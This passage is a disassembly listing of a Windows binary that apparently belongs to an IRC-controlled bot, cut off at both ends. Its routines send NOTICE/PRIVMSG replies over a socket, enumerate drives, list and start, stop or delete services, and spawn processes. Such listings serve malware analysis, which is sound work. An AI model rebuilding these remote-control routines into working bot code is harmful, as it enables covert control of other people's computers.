		pop	esi
		leave
		retn
sub_40B73E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B862	proc near		; CODE XREF: sub_40B934+17p
					; sub_40B934+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_40B73E
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_4158A0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40B8D5
		push	ebx
		push	ebx
		call	sub_40B6AD
		pop	ecx
		push	eax
		push	offset unk_429DBC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 14h
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8D5:				; CODE XREF: sub_40B862+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_40B6AD
		pop	ecx
		push	eax
		push	offset unk_429D70
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_4159FA
		add	esp, 20h


loc_40B909:				; CODE XREF: sub_40B862+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_40A5B3
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B862	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B934	proc near		; CODE XREF: sub_40D2E0+57F0p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_40B955
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B862
		add	esp, 10h
		jmp	short loc_40B9B6
; ---------------------------------------------------------------------------


loc_40B955:				; CODE XREF: sub_40B934+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	ds:dword_4363D8	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_415D2F
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	ds:dword_4363D8	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_40B9AD


loc_40B979:				; CODE XREF: sub_40B934+77j
		push	offset aA_0	; "A:\\"
		push	esi
		call	sub_4158A0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B99C
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B862
		add	esp, 10h


loc_40B99C:				; CODE XREF: sub_40B934+54j
		push	esi
		call	sub_415C80
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_40B979


loc_40B9AD:				; CODE XREF: sub_40B934+43j
		push	edi
		call	sub_415DE1
		pop	ecx
		pop	edi
		pop	esi


loc_40B9B6:				; CODE XREF: sub_40B934+1Fj
		pop	ebx
		pop	ebp
		retn
sub_40B934	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9B9	proc near		; DATA XREF: sub_40CB17+11o

var_2A4		= dword	ptr -2A4h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	ds:dword_43BECC
		call	ds:dword_436500	; closesocket
		call	sub_4150F5
		call	ds:dword_4363C8	; WSACleanup
		call	ds:dword_4363C8	; WSACleanup
		mov	ebx, ds:dword_422054
		push	64h
		call	ebx	; Sleep
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_415500
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_415500
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_4325D8
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	ds:dword_422058	; GetSystemDirectoryA
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		call	ds:off_422060
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	ds:dword_422104	; CreateProcessA
		test	eax, eax
		jz	short loc_40BA7E
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, ds:off_422074
		call	esi ; sub_4DB3D5
		push	[ebp+var_C]
		call	esi ; sub_4DB3D5


loc_40BA7E:				; CODE XREF: sub_40B9B9+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43A870
		mov	eax, [esp+2A4h+var_2A4]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	ds:off_42212C
		pop	edi
		pop	esi
		pop	ebx
sub_40B9B9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAA1	proc near		; CODE XREF: sub_40D168+3Dp
					; sub_40D2E0+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41751F
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		leave
		retn
sub_40BAA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BAE7	proc near		; CODE XREF: sub_401000+8Bp
					; sub_40144A+76p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_40BB02
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_40BB02:				; CODE XREF: sub_40BAE7+14j
		push	edi
		call	sub_415C80
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_415C80
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_4159FA
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset dword_429E9C
		push	eax
		call	sub_415480
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_415C80
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_4364B8	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_40BB85
		push	7D0h
		call	ds:dword_422054	; Sleep

locret_40BB85:				; CODE XREF: sub_40BAE7+91j
		leave
		retn
sub_40BAE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BB87	proc near		; CODE XREF: sub_40D2E0:loc_40F3F2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_40BBDF
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	ds:dword_429EC0[esi]
		push	edi
		push	eax
		call	sub_40BC01
		add	esp, 14h
		test	eax, eax
		jnz	short loc_40BBCF
		push	edi
		push	ds:off_429EBC[esi]
		push	offset dword_429FEC


loc_40BBBF:				; CODE XREF: sub_40BB87+56j
		mov	esi, offset dword_43AF38
		push	esi
		call	sub_415480
		add	esp, 10h
		jmp	short loc_40BBFC
; ---------------------------------------------------------------------------


loc_40BBCF:				; CODE XREF: sub_40BB87+2Aj
		push	eax
		call	sub_40BCA3
		pop	ecx
		push	eax
		push	edi
		push	offset dword_429FB4
		jmp	short loc_40BBBF
; ---------------------------------------------------------------------------


loc_40BBDF:				; CODE XREF: sub_40BB87+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_43AF38
		push	ds:off_429EB8[eax*4]
		push	offset dword_429F80
		push	esi
		call	sub_415480
		add	esp, 0Ch


loc_40BBFC:				; CODE XREF: sub_40BB87+46j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_40BB87	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BC01	proc near		; CODE XREF: sub_40BB87+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	ds:dword_43645C	; OpenSCManagerA
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_40BC28
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40BC9D
; ---------------------------------------------------------------------------


loc_40BC28:				; CODE XREF: sub_40BC01+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	ds:dword_436350	; OpenServiceA
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_40BC48
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ebx, eax
		jmp	short loc_40BC95
; ---------------------------------------------------------------------------


loc_40BC48:				; CODE XREF: sub_40BC01+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_40BC7B
		cmp	eax, 3
		jz	short loc_40BC6C
		jle	short loc_40BC8E
		cmp	eax, 6
		jg	short loc_40BC8E
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	ds:dword_4363B8	; ControlService
		jmp	short loc_40BC82
; ---------------------------------------------------------------------------


loc_40BC6C:				; CODE XREF: sub_40BC01+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	ds:dword_436358	; StartServiceA
		jmp	short loc_40BC82
; ---------------------------------------------------------------------------


loc_40BC7B:				; CODE XREF: sub_40BC01+4Dj
		push	esi
		call	ds:dword_4363BC	; DeleteService


loc_40BC82:				; CODE XREF: sub_40BC01+69j
					; sub_40BC01+78j
		test	eax, eax
		jnz	short loc_40BC8E
		call	ds:dword_42206C	; RtlGetLastWin32Error
		mov	ebx, eax


loc_40BC8E:				; CODE XREF: sub_40BC01+54j
					; sub_40BC01+59j ...
		push	esi
		call	ds:dword_43636C	; CloseServiceHandle


loc_40BC95:				; CODE XREF: sub_40BC01+45j
		push	edi
		call	ds:dword_43636C	; CloseServiceHandle
		pop	esi


loc_40BC9D:				; CODE XREF: sub_40BC01+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_40BC01	endp


; =============== S U B	R O U T	I N E =======================================



sub_40BCA3	proc near		; CODE XREF: sub_40BB87+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_40BD58
		jz	loc_40BD51
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_40BD1B
		jz	short loc_40BD11
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_40BD07
		dec	ecx
		dec	ecx
		jz	short loc_40BCFD
		dec	ecx
		jz	short loc_40BCF3
		sub	ecx, 51h
		jz	short loc_40BCE9
		sub	ecx, 24h
		jnz	loc_40BDCE	; default
					; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BCE9:				; CODE XREF: sub_40BCA3+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BCF3:				; CODE XREF: sub_40BCA3+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BCFD:				; CODE XREF: sub_40BCA3+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD07:				; CODE XREF: sub_40BCA3+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD11:				; CODE XREF: sub_40BCA3+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD1B:				; CODE XREF: sub_40BCA3+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_40BD4A
		dec	ecx
		jz	short loc_40BD43
		dec	ecx
		jz	short loc_40BD3C
		dec	ecx
		jnz	loc_40BDCE	; default
					; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD3C:				; CODE XREF: sub_40BCA3+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD43:				; CODE XREF: sub_40BCA3+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD4A:				; CODE XREF: sub_40BCA3+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD51:				; CODE XREF: sub_40BCA3+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD58:				; CODE XREF: sub_40BCA3+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_40BDCE ; default
					; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16
		jz	short loc_40BDBB
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_40BDCE ; default
					; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_40BE0F[ecx]
		jmp	off_40BDE7[ecx*4] ; switch jump


loc_40BD7C:				; DATA XREF: _0:off_40BDE7o
		push	offset aTheSpecifiedDa ; jumptable 0040BD75 case 7
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD83:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheServiceDepe ; jumptable 0040BD75 case 17
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD8A:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheServiceDe_0 ; jumptable 0040BD75 case 10
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD91:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheServiceHasB ; jumptable 0040BD75 case 0
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD98:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheSpecified_0 ; jumptable 0040BD75 case 2
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BD9F:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheServiceCoul ; jumptable 0040BD75 case 11
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BDA6:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheServiceHa_0 ; jumptable 0040BD75 case 14
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BDAD:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheRequested_1 ; jumptable 0040BD75 case 3
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BDB4:				; CODE XREF: sub_40BCA3+D2j
					; DATA XREF: _0:off_40BDE7o
		push	offset aTheServiceHasN ; jumptable 0040BD75 case 4
		jmp	short loc_40BDC0
; ---------------------------------------------------------------------------


loc_40BDBB:				; CODE XREF: sub_40BCA3+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_40BDC0:				; CODE XREF: sub_40BCA3+41j
					; sub_40BCA3+4Bj ...
		push	offset dword_43A878
		call	sub_415480
		pop	ecx
		pop	ecx
		jmp	short loc_40BDE1
; ---------------------------------------------------------------------------


loc_40BDCE:				; CODE XREF: sub_40BCA3+36j
					; sub_40BCA3+89j ...
		push	eax		; default
					; jumptable 0040BD75 cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
		push	offset dword_43A878
		call	sub_415480
		add	esp, 0Ch


loc_40BDE1:				; CODE XREF: sub_40BCA3+129j
		mov	eax, offset dword_43A878
		retn
sub_40BCA3	endp

; ---------------------------------------------------------------------------
off_40BDE7	dd offset loc_40BD91	; DATA XREF: sub_40BCA3+D2r
		dd offset loc_40BD98	; jump table for switch	statement
		dd offset loc_40BDAD
		dd offset loc_40BDB4
		dd offset loc_40BD7C
		dd offset loc_40BD8A
		dd offset loc_40BD9F
		dd offset loc_40BDA6
		dd offset loc_40BD83
		dd offset loc_40BDCE
byte_40BE0F	db	0,     9,     1,     2 ; DATA XREF: sub_40BCA3+CBr
		db	3,     9,     9,     4 ; indirect table	for switch statement
		db	9,     9,     5,     6
		db	9,     9,     7,     9
		db	9,     8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BE21	proc near		; CODE XREF: sub_40D2E0+2094p

var_38C		= byte ptr -38Ch
var_18C		= byte ptr -18Ch
var_188		= byte ptr -188h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38Ch
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		mov	[ebp+var_8], ebx
		call	ds:dword_43645C	; OpenSCManagerA
		push	ebx
		mov	[ebp+var_C], eax
		push	[ebp+arg_8]
		push	offset aTheFollowingWi ; "The following	Windows	services are regi"...
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 14h


loc_40BE59:				; CODE XREF: sub_40BE21+120j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_18C]
		push	168h
		push	eax
		push	3
		push	30h
		push	[ebp+var_C]
		call	ds:dword_436428	; EnumServicesStatusA
		test	eax, eax
		jnz	short loc_40BE93
		call	ds:dword_42206C	; RtlGetLastWin32Error
		cmp	eax, 0EAh
		jnz	loc_40BF47


loc_40BE93:				; CODE XREF: sub_40BE21+5Fj
		xor	edi, edi
		cmp	[ebp+var_4], ebx
		jle	loc_40BF3E
		lea	esi, [ebp+var_188]


loc_40BEA4:				; CODE XREF: sub_40BE21+117j
		mov	eax, [esi+8]
		dec	eax
		jz	short loc_40BEED
		dec	eax
		jz	short loc_40BEE6
		dec	eax
		jz	short loc_40BEDF
		dec	eax
		jz	short loc_40BED8
		dec	eax
		jz	short loc_40BED1
		dec	eax
		jz	short loc_40BECA
		dec	eax
		jz	short loc_40BEC3
		push	offset aUnknown_1 ; "	 Unknown"
		jmp	short loc_40BEF2
; ---------------------------------------------------------------------------


loc_40BEC3:				; CODE XREF: sub_40BE21+99j
		push	offset aPaused_0 ; "	 Paused"
		jmp	short loc_40BEF2
; ---------------------------------------------------------------------------


loc_40BECA:				; CODE XREF: sub_40BE21+96j
		push	offset aPausing	; "    Pausing"
		jmp	short loc_40BEF2
; ---------------------------------------------------------------------------


loc_40BED1:				; CODE XREF: sub_40BE21+93j
		push	offset aContinuing ; " Continuing"
		jmp	short loc_40BEF2
; ---------------------------------------------------------------------------


loc_40BED8:				; CODE XREF: sub_40BE21+90j
		push	offset aRunning	; "    Running"
		jmp	short loc_40BEF2
; ---------------------------------------------------------------------------


loc_40BEDF:				; CODE XREF: sub_40BE21+8Dj
		push	offset aStoping	; "    Stoping"
		jmp	short loc_40BEF2
; ---------------------------------------------------------------------------


loc_40BEE6:				; CODE XREF: sub_40BE21+8Aj
		push	offset aStarting ; "   Starting"
		jmp	short loc_40BEF2
; ---------------------------------------------------------------------------


loc_40BEED:				; CODE XREF: sub_40BE21+87j
		push	offset aStopped	; "    Stopped"


loc_40BEF2:				; CODE XREF: sub_40BE21+A0j
					; sub_40BE21+A7j ...
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_415480
		pop	ecx
		lea	eax, [ebp+var_20]
		pop	ecx
		push	dword ptr [esi]
		push	dword ptr [esi-4]
		push	eax
		lea	eax, [ebp+var_38C]
		push	offset aSSS	; "%s: %s (%s)"
		push	eax
		call	sub_415480
		push	1
		lea	eax, [ebp+var_38C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40BAE7
		add	esp, 28h
		inc	edi
		add	esi, 24h
		cmp	edi, [ebp+var_4]
		jl	loc_40BEA4


loc_40BF3E:				; CODE XREF: sub_40BE21+77j
		cmp	[ebp+var_8], ebx
		jnz	loc_40BE59


loc_40BF47:				; CODE XREF: sub_40BE21+6Cj
		push	[ebp+var_C]
		call	ds:dword_43636C	; CloseServiceHandle
		xor	eax, eax
		pop	edi
		cmp	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		sbb	eax, eax
		neg	eax
		leave
		retn
sub_40BE21	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BF5E	proc near		; CODE XREF: sub_40D2E0:loc_40F422p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		test	edi, edi
		jz	loc_40BFF8
		mov	esi, [ebp+arg_0]
		mov	eax, esi
		sub	eax, 0
		jz	short loc_40BF87
		dec	eax
		jnz	short loc_40BFD8
		push	edi
		push	0
		call	sub_40C131
		pop	ecx
		pop	ecx
		jmp	short loc_40BFD4
; ---------------------------------------------------------------------------


loc_40BF87:				; CODE XREF: sub_40BF5E+18j
		cmp	[ebp+arg_8], 0
		jnz	short loc_40BFC6
		push	24h
		push	edi
		call	sub_417070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40BFC6
		push	57h
		pop	eax


loc_40BF9E:				; CODE XREF: sub_40BF5E+78j
		push	eax
		call	sub_40C925
		pop	ecx
		push	eax
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43AB34
		push	ds:off_429EB8[eax*4]
		push	offset dword_42A5B0
		push	esi
		call	sub_415480
		add	esp, 14h
		jmp	short loc_40C018
; ---------------------------------------------------------------------------


loc_40BFC6:				; CODE XREF: sub_40BF5E+2Dj
					; sub_40BF5E+3Bj
		push	[ebp+arg_8]
		push	edi
		push	0
		call	sub_40C085
		add	esp, 0Ch


loc_40BFD4:				; CODE XREF: sub_40BF5E+27j
		test	eax, eax
		jnz	short loc_40BF9E


loc_40BFD8:				; CODE XREF: sub_40BF5E+1Bj
		lea	eax, [esi+esi*2]
		push	edi
		mov	esi, offset dword_43AB34
		push	ds:off_429EBC[eax*4]
		push	offset dword_42A584
		push	esi
		call	sub_415480
		add	esp, 10h
		jmp	short loc_40C018
; ---------------------------------------------------------------------------


loc_40BFF8:				; CODE XREF: sub_40BF5E+Aj
		mov	eax, [ebp+arg_0]
		mov	esi, offset dword_43AB34
		lea	eax, [eax+eax*2]
		push	ds:off_429EB8[eax*4]
		push	offset dword_42A550
		push	esi
		call	sub_415480
		add	esp, 0Ch


loc_40C018:				; CODE XREF: sub_40BF5E+66j
					; sub_40BF5E+98j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40BF5E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C01E	proc near		; CODE XREF: sub_4143F6+245p

arg_0		= dword	ptr  4
arg_C		= dword	ptr  10h

		push	esi
		xor	esi, esi
		cmp	[esp+4+arg_0], esi
		jnz	short loc_40C02B
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40C02B:				; CODE XREF: sub_40C01E+7j
		push	ebx
		push	ebp
		push	edi
		push	esi
		push	esi
		push	esi
		mov	edi, ds:dword_422130
		push	esi
		push	0FFFFFFFFh
		mov	ebx, 400h
		push	[esp+24h+arg_0]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		test	ds:byte_43AD34,	1
		mov	ebp, eax
		jnz	short loc_40C068
		or	ds:byte_43AD34,	1
		lea	eax, [ebp+1]
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	ds:dword_43AAD4, eax


loc_40C068:				; CODE XREF: sub_40C01E+32j
		push	esi
		push	esi
		push	ebp
		push	ds:dword_43AAD4
		push	0FFFFFFFFh
		push	[esp+18h+arg_C]
		push	ebx
		push	esi
		call	edi	; WideCharToMultiByte
		mov	eax, ds:dword_43AAD4
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		retn
sub_40C01E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C085	proc near		; CODE XREF: sub_40BF5E+6Ep
					; sub_41471A+18Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	[ebp+arg_0]
		call	sub_40C0F0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_40C0F0
		push	24h
		mov	[ebp+var_20], eax
		push	[ebp+arg_4]
		call	sub_417070
		push	[ebp+arg_8]
		mov	[ebp+var_14], 7Fh
		neg	eax
		sbb	eax, eax
		and	[ebp+var_18], 0
		or	[ebp+var_10], 0FFFFFFFFh
		and	[ebp+var_C], 0
		and	eax, 80000000h
		mov	[ebp+var_1C], eax
		call	sub_40C0F0
		add	esp, 14h
		mov	[ebp+var_8], eax
		and	[ebp+var_4], 0
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	2
		push	edi
		call	ds:dword_436368
		pop	edi
		leave
		retn
sub_40C085	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C0F0	proc near		; CODE XREF: sub_40C085+Ap
					; sub_40C085+14p ...

arg_0		= dword	ptr  4

		push	ebp
		mov	ebp, [esp+4+arg_0]
		xor	eax, eax
		cmp	ebp, eax
		jnz	short loc_40C0FD
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40C0FD:				; CODE XREF: sub_40C0F0+9j
		push	ebx
		push	esi
		mov	esi, ds:dword_422134
		push	edi
		push	eax
		push	eax
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	eax
		call	esi	; MultiByteToWideChar
		mov	edi, eax
		lea	eax, [edi+edi+2]
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	ebx, eax
		push	edi
		push	ebx
		push	0FFFFFFFFh
		push	ebp
		push	1
		push	0
		call	esi	; MultiByteToWideChar
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40C0F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C131	proc near		; CODE XREF: sub_40BF5E+20p
					; sub_4143F6+1BBp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

